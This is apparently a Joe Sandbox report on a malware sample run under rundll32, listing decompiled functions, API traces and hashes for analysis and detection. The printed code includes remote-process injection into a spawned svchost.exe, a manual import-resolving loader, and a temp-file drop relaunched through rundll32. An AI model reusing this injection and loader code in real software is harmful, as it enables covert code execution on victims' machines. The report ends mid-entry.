Download Yara Rule

C-Code - Quality: 100%

			E003413D0(void* _a4) {
				void* _t2;
				int _t4;
				void* _t5;

				if( *0x34715c != 0) {
					_t5 =  *0x34715c; // 0x4e0000
					_t4 = HeapFree(_t5, 0, _a4); // executed
					return _t4;
				}
				return _t2;
			}

0x003413da
0x003413e2
0x003413e9
0x00000000
0x003413e9
0x003413f0

APIs

HeapFree.KERNEL32(004E0000,00000000,00341D0D), ref: 003413E9

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 0f738a6f7c31cbabb9cbd4129a45be7a32f1694c722a73322d9c812d93289042
Instruction ID: c81aaa15bbae847f41e10ea771c7c2229398db9f520c9a546ec328fb2d1ec804
Opcode Fuzzy Hash: 0f738a6f7c31cbabb9cbd4129a45be7a32f1694c722a73322d9c812d93289042
Instruction Fuzzy Hash: DDC0123A104B48ABD22A9F85EC48BAA33EDA306341F004014B6084E7A0CBB5B898CB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00343880, Relevance: 10.6, APIs: 7, Instructions: 103
memorythreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00343880(void* _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				long _v36;

				if(_a12 == 0) {
					_v8 = VirtualAlloc(0, _a8, 0x3000, 0x40);
					if(_v8 == 0) {
						L14:
						return 0;
					}
					E00341450(_v8, _a4, _a8);
					if(_a16 == 0) {
						_v28 = _v8;
						_v28();
						return 1;
					}
					_v24 = CreateThread(0, 0, E003439E0, _v8, 0, 0);
					if(_v24 == 0) {
						goto L14;
					}
					CloseHandle(_v24);
					return 1;
				}
				if(E00342C40( &_v16,  &_v32) != 0) {
					_v12 = VirtualAllocEx(_v16, 0, _a8, 0x3000, 0x40);
					if(_v12 == 0 || WriteProcessMemory(_v16, _v12, _a4, _a8, 0) == 0) {
						L7:
						goto L14;
					} else {
						_v20 = CreateRemoteThread(_v16, 0, 0, _v12, 0, 0,  &_v36);
						if(_v20 == 0) {
							goto L7;
						}
						CloseHandle(_v20);
						return 1;
					}
				}
				return 0;
			}

0x0034388a
0x00343930
0x00343937
0x00343996
0x00000000
0x00343996
0x00343945
0x00343951
0x00343989
0x0034398c
0x00000000
0x0034398f
0x0034396a
0x00343971
0x00000000
0x00343984
0x00343977
0x00000000
0x0034397d
0x003438a2
0x003438c2
0x003438c9
0x0034391b
0x00000000
0x003438e7
0x00343901
0x00343908
0x00000000
0x00000000
0x0034390e
0x00000000
0x00343914
0x003438c9
0x00000000

APIs

VirtualAllocEx.KERNEL32(00500000,00000000,00500000,00003000,00000040,?,?,?,?,?,00341FB7), ref: 003438BC
WriteProcessMemory.KERNEL32(00500000,00000000,00000000,00500000,00000000,?,?,?,?,?,00341FB7), ref: 003438DD
CreateRemoteThread.KERNEL32(00500000,00000000,00000000,00000000,00000000,00000000,?), ref: 003438FB
CloseHandle.KERNEL32(00000000), ref: 0034390E
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000040,?,?,?,00341FB7), ref: 0034392A
CreateThread.KERNEL32(00000000,00000000,003439E0,00000000,00000000,00000000), ref: 00343964
CloseHandle.KERNEL32(00000000), ref: 00343977

Part of subcall function 00342C40: GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 00342C71
Part of subcall function 00342C40: lstrcatA.KERNEL32(?,\System32\svchost.exe), ref: 00342C83
Part of subcall function 00342C40: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000424,00000000,00000000,00000044,?), ref: 00342CA9

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Create$AllocCloseHandleProcessThreadVirtual$EnvironmentMemoryRemoteVariableWritelstrcat
String ID:
API String ID: 2742758278-0
Opcode ID: 8b02201f2cb4a1aeda9aafd120f8dabe7269c3427950c71fa9c9f01156f0d178
Instruction ID: b760d1ef50233d51b48b99b4ceacf8965e5fb647eb573a11055212c1da94c0ca
Opcode Fuzzy Hash: 8b02201f2cb4a1aeda9aafd120f8dabe7269c3427950c71fa9c9f01156f0d178
Instruction Fuzzy Hash: 16311E79A44208FBEB15DFA4DC49FAEB7B8AB48701F104518F605AF2C0D7B5AB40CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0034B083, Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0034CC47
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0034CC5C
UnhandledExceptionFilter.KERNEL32(003593AC), ref: 0034CC67
GetCurrentProcess.KERNEL32(C0000409), ref: 0034CC83
TerminateProcess.KERNEL32(00000000), ref: 0034CC8A

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ef4e8b3e93a5e6b76ea8b9dc20ca3abec37de38dd6b74ea16005d52e05e4448b
Instruction ID: c9958013b3a52880d25e6d9c35b32e6b97af3731df35ad85d5d05776307b165c
Opcode Fuzzy Hash: ef4e8b3e93a5e6b76ea8b9dc20ca3abec37de38dd6b74ea16005d52e05e4448b
Instruction Fuzzy Hash: 2121BFB8A11304DFC703DF2AED846547BACBB08315F50D41AE80987261EBF069848F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00343580, Relevance: 6.1, APIs: 4, Instructions: 105
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00343580(intOrPtr _a4) {
				intOrPtr* _v8;
				struct HINSTANCE__* _v12;
				void* _v16;
				signed int* _v20;
				_Unknown_base(*)()* _v24;
				CHAR* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr* _v40;
				intOrPtr _v44;
				intOrPtr _v48;

				_v32 = _a4;
				_v36 = _a4 +  *((intOrPtr*)(_v32 + 0x3c));
				_v40 = _v36 + 0xbadc25;
				_v44 =  *_v40;
				_v8 = _a4 + _v44;
				while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
					_v28 = _a4 +  *((intOrPtr*)(_v8 + 0xc));
					_v12 = 0;
					_v12 = GetModuleHandleA(_v28);
					if(_v12 == 0) {
						_v12 = LoadLibraryA(_v28);
					}
					if(_v12 != 0) {
						_v16 = _a4 +  *((intOrPtr*)(_v8 + 0x10));
						_v20 = _a4 +  *_v8;
						if( *_v8 == 0) {
							_v20 = _v16;
						}
						while( *_v16 != 0) {
							_v48 = _a4 +  *_v20;
							_v24 = 0;
							if(( *_v20 & 0x80000000) == 0) {
								_v24 = GetProcAddress(_v12, _v48 + 2);
							} else {
								_v24 = GetProcAddress(_v12,  *_v20 & 0x0000ffff);
							}
							if( *_v16 != _v24) {
								 *_v16 = _v24;
							}
							_v16 = _v16 + 4;
							_v20 =  &(_v20[1]);
						}
						_v8 = _v8 + 0x14;
						continue;
					} else {
						return 0;
					}
				}
				return 1;
			}

0x00343589
0x00343595
0x003435a7
0x003435af
0x003435b8
0x003435bb
0x003435d1
0x003435d4
0x003435e5
0x003435ec
0x003435f8
0x003435f8
0x003435ff
0x00343611
0x0034361c
0x00343625
0x0034362a
0x0034362a
0x0034362d
0x0034363d
0x00343640
0x00343651
0x0034367f
0x00343653
0x00343669
0x00343669
0x0034368a
0x00343692
0x00343692
0x0034369a
0x003436a3
0x003436a3
0x003436ae
0x00000000
0x00343601
0x00000000
0x00343601
0x003435ff
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 003435DF
LoadLibraryA.KERNEL32(?), ref: 003435F2
GetProcAddress.KERNEL32(00000000,?), ref: 00343663
GetProcAddress.KERNEL32(00000000,?), ref: 00343679

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 309d741347cd8536c3b859be301394d8e31844ac3f8805327c234dcc6dd952e4
Instruction ID: 089d8c1d185ff386aa56c9832ee8947ac2c053ec088971c44c118d4504fe4fc5
Opcode Fuzzy Hash: 309d741347cd8536c3b859be301394d8e31844ac3f8805327c234dcc6dd952e4
Instruction Fuzzy Hash: 8241A674E00209EFDB05CF98C594BADBBB5FF48304F218599D915AB354D734AA41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00342D17, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00342D17() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x00342da4
0x00342daa
0x00342db0
0x00342db0
0x00342dbb
0x00342dc1
0x00342dc7
0x00342dc7
0x00342dd2
0x00342dda
0x00342de0
0x00342de0
0x00342ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 00342DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 00342DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00342DDA

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: 64028113b29cd324a4c0f9119a74aea3742cb22dfbe62ccea184960067200f22
Instruction ID: 2b58769ee976deceda4b49febfafa49f3802f82a6efa2c637fd61bc6ba77f7ba
Opcode Fuzzy Hash: 64028113b29cd324a4c0f9119a74aea3742cb22dfbe62ccea184960067200f22
Instruction Fuzzy Hash: 62F01C78D00208EBDF22CF94D84CBAEBBB4EB05305F508098F5117A390C7796A44DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00342D98, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00342D98() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x00342da4
0x00342daa
0x00342db0
0x00342db0
0x00342dbb
0x00342dc1
0x00342dc7
0x00342dc7
0x00342dd2
0x00342dda
0x00342de0
0x00342de0
0x00342ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 00342DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 00342DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00342DDA

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: b95e167d2763c6dc185f490256ca1faf6cd1fe1659b628589e0af0351b352042
Instruction ID: 2b58769ee976deceda4b49febfafa49f3802f82a6efa2c637fd61bc6ba77f7ba
Opcode Fuzzy Hash: b95e167d2763c6dc185f490256ca1faf6cd1fe1659b628589e0af0351b352042
Instruction Fuzzy Hash: 62F01C78D00208EBDF22CF94D84CBAEBBB4EB05305F508098F5117A390C7796A44DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00342D78, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00342D78() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x00342da4
0x00342daa
0x00342db0
0x00342db0
0x00342dbb
0x00342dc1
0x00342dc7
0x00342dc7
0x00342dd2
0x00342dda
0x00342de0
0x00342de0
0x00342ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 00342DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 00342DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00342DDA

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: 812e30b5683bf31b9674e91e2017c073e0de185cddec408f0a37af6f5817e099
Instruction ID: 2b58769ee976deceda4b49febfafa49f3802f82a6efa2c637fd61bc6ba77f7ba
Opcode Fuzzy Hash: 812e30b5683bf31b9674e91e2017c073e0de185cddec408f0a37af6f5817e099
Instruction Fuzzy Hash: 62F01C78D00208EBDF22CF94D84CBAEBBB4EB05305F508098F5117A390C7796A44DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00342D55, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00342D55() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x00342da4
0x00342daa
0x00342db0
0x00342db0
0x00342dbb
0x00342dc1
0x00342dc7
0x00342dc7
0x00342dd2
0x00342dda
0x00342de0
0x00342de0
0x00342ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 00342DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 00342DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00342DDA

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: dd36a8368929776a62e2388577fc631267f7545daf511757283aa524fe086b8f
Instruction ID: 2b58769ee976deceda4b49febfafa49f3802f82a6efa2c637fd61bc6ba77f7ba
Opcode Fuzzy Hash: dd36a8368929776a62e2388577fc631267f7545daf511757283aa524fe086b8f
Instruction Fuzzy Hash: 62F01C78D00208EBDF22CF94D84CBAEBBB4EB05305F508098F5117A390C7796A44DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0035203E, Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 0035204C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00352053

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled__decode_pointer
String ID:
API String ID: 3341406909-0
Opcode ID: 10f5fb23b7dc3b145ff4bd90bb2514b4662c4f61d87a2194d3cfc2f4838be236
Instruction ID: db12bb5454fc9ba2572ff6d388325f8020aed160210235ef216cb84c5b75f7fa
Opcode Fuzzy Hash: 10f5fb23b7dc3b145ff4bd90bb2514b4662c4f61d87a2194d3cfc2f4838be236
Instruction Fuzzy Hash: 01C04C5AD183C08ADB035778584D3097E58A755711F54C8AAD4418B1DAD5B550448721

Uniqueness

Uniqueness Score: -1.00%

Function 0036E607, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2348607784.000000000036E000.00000040.00020000.sdmp, Offset: 0036E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36e000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: 5edd3c0a585ef12230ed7a51e5f985dc970b42ac7d04810d29abdc78883e6dd0
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: FC1193773401019FD715DE59EC91EA2B3DAFB99330B298066ED08CB709E636EC45C760

Uniqueness

Uniqueness Score: -1.00%

Function 0036EA00, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2348607784.000000000036E000.00000040.00020000.sdmp, Offset: 0036E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36e000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: 3335f81738259b148cc70259dc3b37ca20f842685e04328b773a6cb53c927733
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 9701D67B314240CFDB1ACF98D994D79B7E8FBC1324B1AC07EC44687619E130E949CA20

Uniqueness

Uniqueness Score: -1.00%

Function 0034EC3D, Relevance: 19.6, APIs: 13, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(0035943C,?,0034BF21,?,0036D2FC,00000000,?,?,?,0036B0A8,0036D2FC), ref: 0034EC43
__mtterm.LIBCMT ref: 0034EC4F

Part of subcall function 0034E927: __decode_pointer.LIBCMT ref: 0034E938
Part of subcall function 0034E927: TlsFree.KERNEL32(0036CB74,0034BFBD,?,0036D2FC,00000000,?,?,?,0036B0A8,0036D2FC), ref: 0034E952

TlsAlloc.KERNEL32(?,0036D2FC,00000000,?,?,?,0036B0A8,0036D2FC), ref: 0034ECDC
__init_pointers.LIBCMT ref: 0034ED01
__encode_pointer.LIBCMT ref: 0034ED0C
__encode_pointer.LIBCMT ref: 0034ED1C
__encode_pointer.LIBCMT ref: 0034ED2C
__encode_pointer.LIBCMT ref: 0034ED3C
__decode_pointer.LIBCMT ref: 0034ED5D
__calloc_crt.LIBCMT ref: 0034ED76
__decode_pointer.LIBCMT ref: 0034ED90
GetCurrentThreadId.KERNEL32(?,?,0036B0A8,0036D2FC), ref: 0034EDA6

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThread__calloc_crt__init_pointers__mtterm
String ID:
API String ID: 802150526-0
Opcode ID: 2c620d458e02ec8f2caabef93c83b991a21ace09dcc18aac44f7e878ca7cbcb1
Instruction ID: 1a37ac7d69bfdadbb0315593c10cd4e77f15de5ebcc966dc6a41cc0e3c486a28
Opcode Fuzzy Hash: 2c620d458e02ec8f2caabef93c83b991a21ace09dcc18aac44f7e878ca7cbcb1
Instruction Fuzzy Hash: 19319371E00311DECB13BF75EC0AA567BE8BB05761F85862AE8499E1F0EBF1A400CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0034C707, Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0034C725

Part of subcall function 00352F42: __mtinitlocknum.LIBCMT ref: 00352F56
Part of subcall function 00352F42: __amsg_exit.LIBCMT ref: 00352F62
Part of subcall function 00352F42: RtlEnterCriticalSection.NTDLL(FCBE00F1), ref: 00352F6A

___sbh_find_block.LIBCMT ref: 0034C730
___sbh_free_block.LIBCMT ref: 0034C73F
HeapFree.KERNEL32(00000000,0034BE12,0036AB38), ref: 0034C76F
GetLastError.KERNEL32(?,?,0034D16F,0034D31B,?,0034BE12,?), ref: 0034C780

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1a1a8092bec646c9bfd204203466ea82da0f5837488635d065254ea0ac1bd00f
Instruction ID: 8556e8749aac61c6ed4efdcf7043c2161d8d897620f00d12494a3a1a1d32b761
Opcode Fuzzy Hash: 1a1a8092bec646c9bfd204203466ea82da0f5837488635d065254ea0ac1bd00f
Instruction Fuzzy Hash: 91018F31906205AFDB737BB0AC0AB5E7AE4AF01761F109015F900AE1A1CB74A5408EA4

Uniqueness

Uniqueness Score: -1.00%

Function 00343B30, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00343B30(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v264;
				char _v524;
				char _v784;

				GetTempPathA(0x104,  &_v524);
				GetTempFileNameA( &_v524, "BN", 0,  &_v264);
				if(E00343AC0(_a4,  &_v264, _a4, _a8) != 1) {
					return 0;
				}
				_push(_a8);
				if(E003433C0(_a4) != 1) {
					return E003436C0( &_v264);
				}
				wsprintfA( &_v784, "Rundll32.exe %s, start",  &_v264);
				return E003436C0( &_v784);
			}

0x00343b45
0x00343b60
0x00343b80
0x00000000
0x00343bd7
0x00343b85
0x00343b95
0x00000000
0x00343bd2
0x00343baa
0x00000000

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00343B45
GetTempFileNameA.KERNEL32(?,003442C0,00000000,?), ref: 00343B60

Part of subcall function 00343AC0: CreateFileA.KERNEL32(00341691,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00343AE6
Part of subcall function 00343AC0: WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00343B07
Part of subcall function 00343AC0: CloseHandle.KERNEL32(000000FF), ref: 00343B11

wsprintfA.USER32 ref: 00343BAA

Part of subcall function 003436C0: CreateProcessA.KERNEL32(00000000,00343BD2,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 003436F7

Strings

Rundll32.exe %s, start, xrefs: 00343B9E

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: File$CreateTemp$CloseHandleNamePathProcessWritewsprintf
String ID: Rundll32.exe %s, start
API String ID: 130250823-2967502992
Opcode ID: 2d77852d958fb0e5b4b89deaaf5be51f9f88daea29ce30dfb51db1c519f10060
Instruction ID: d95ae778d5a6352f93819d5a81dc35fc5c6bbfc738c7438807b97f4c21ba852e
Opcode Fuzzy Hash: 2d77852d958fb0e5b4b89deaaf5be51f9f88daea29ce30dfb51db1c519f10060
Instruction Fuzzy Hash: 97115FFE9001186BD711DB50ED85FE973BCDB54304F008694FA499F141E675FB988B91

Uniqueness

Uniqueness Score: -1.00%

Function 00357320, Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00357350
__isleadbyte_l.LIBCMT ref: 00357384
MultiByteToWideChar.KERNEL32(?,00000009,00000108,?,?,00000000,?,?,?), ref: 003573B5
MultiByteToWideChar.KERNEL32(?,00000009,00000108,00000001,?,00000000,?,?,?), ref: 00357423

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c07013d78dbb74dd6e9c18c6a27453d308fa59d82f4178a70090cd1aeb49fdba
Instruction ID: d4ec3607189f4cb9f0754db52ab3f7fa673f64d3032cf7c75034c331321355f2
Opcode Fuzzy Hash: c07013d78dbb74dd6e9c18c6a27453d308fa59d82f4178a70090cd1aeb49fdba
Instruction Fuzzy Hash: 9E31D235608255EFDB22DF64D884DAD7BB5BF01322F1685A9EC508B1B1E330DD44EB90

Uniqueness

Uniqueness Score: -1.00%

Function 0034A870, Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 0034A882

Part of subcall function 0034AD8A: __EH_prolog3.LIBCMT ref: 0034AD91
Part of subcall function 0034AD8A: std::runtime_error::runtime_error.LIBCPMT ref: 0034ADAE
Part of subcall function 0034AD8A: __CxxThrowException@8.LIBCMT ref: 0034ADC3

std::_String_base::_Xlen.LIBCPMT ref: 0034A8A5
std::_String_base::_Xlen.LIBCPMT ref: 0034A8BC
_memcpy_s.LIBCMT ref: 0034A92F

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: String_base::_Xlenstd::_$Exception@8H_prolog3Throw_memcpy_sstd::runtime_error::runtime_error
String ID:
API String ID: 1039763836-0
Opcode ID: e462159f91ebf12371c075a090d43d788f6f1f0694b4add03d2d06dc5b6c9539
